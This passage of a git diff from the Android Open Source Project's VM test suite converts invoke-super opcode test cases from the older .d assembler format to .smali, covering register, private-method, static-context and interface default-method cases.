-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_2.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_2
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-       const v7, 0    
-       invoke-super {v7}, dot/junit/opcodes/invoke_super/d/T_invoke_super_2/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali
new file mode 100644
index 0000000..f36eb6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+       const v7, 0    
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_2;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d
deleted file mode 100644
index eb429ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_20.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
-.limit regs 5
-
-       invoke-super {v4}, dot/junit/opcodes/invoke_super/TestStubs/TestStubP()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali
new file mode 100644
index 0000000..8a88377
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_20.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_20.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d
deleted file mode 100644
index fbeb8e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_22.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_22
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super/d/TPlain/<init>()V
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali
new file mode 100644
index 0000000..b3f27694
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_22.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_22;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TPlain;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d
deleted file mode 100644
index f1d2a6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_23.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_23
-.super dot/junit/opcodes/invoke_super/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_super/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali
new file mode 100644
index 0000000..76e9c69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_23.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_23;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_super/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d
deleted file mode 100644
index 55303d3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_super.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_super.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_super_24.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_24
-.super dot/junit/opcodes/invoke_super/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-super {v7}, dot/junit/opcodes/invoke_super/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..c07a608
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..5f8fe86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali
new file mode 100644
index 0000000..ce39828
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_24.smalis/T_invoke_super_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_24;
+.super Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;
+.source "T_invoke_super_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_super/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d
deleted file mode 100644
index f6e763c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_25.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_25
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 4
-
-       new-instance v3, dot/junit/opcodes/invoke_super/d/T_invoke_super_25
-       invoke-super {v3}, dot/junit/opcodes/invoke_super/d/T_invoke_super_25/toInt()I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali
new file mode 100644
index 0000000..5233276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_25.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_25.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 4
+
+       new-instance v3, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;
+       invoke-super {v3}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_25;->toInt()I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d
deleted file mode 100644
index 1e68d5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.d
+++ /dev/null
@@ -1,50 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_super_26.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_26
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super {v0}, dot/junit/opcodes/invoke_super/d/ITestDefault/testDefault()V
-       invoke-super {v0}, dot/junit/opcodes/invoke_super/d/ITestDefault2/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali
new file mode 100644
index 0000000..f75f1a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_26.smalis/T_invoke_super_26.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_26;
+.super Ljava/lang/Object;
+.source "T_invoke_super_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestDefault;->testDefault()V
+
+    invoke-super {p0}, Ldot/junit/opcodes/invoke_super/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d
deleted file mode 100644
index 8bda6a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_super.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_super_27.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_27
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_super.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_super.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-super {v0}, dot/junit/opcodes/invoke_super/d/ITestNonDefault/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..50fbc7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b94e6f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_super/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..af3471a
--- /dev/null
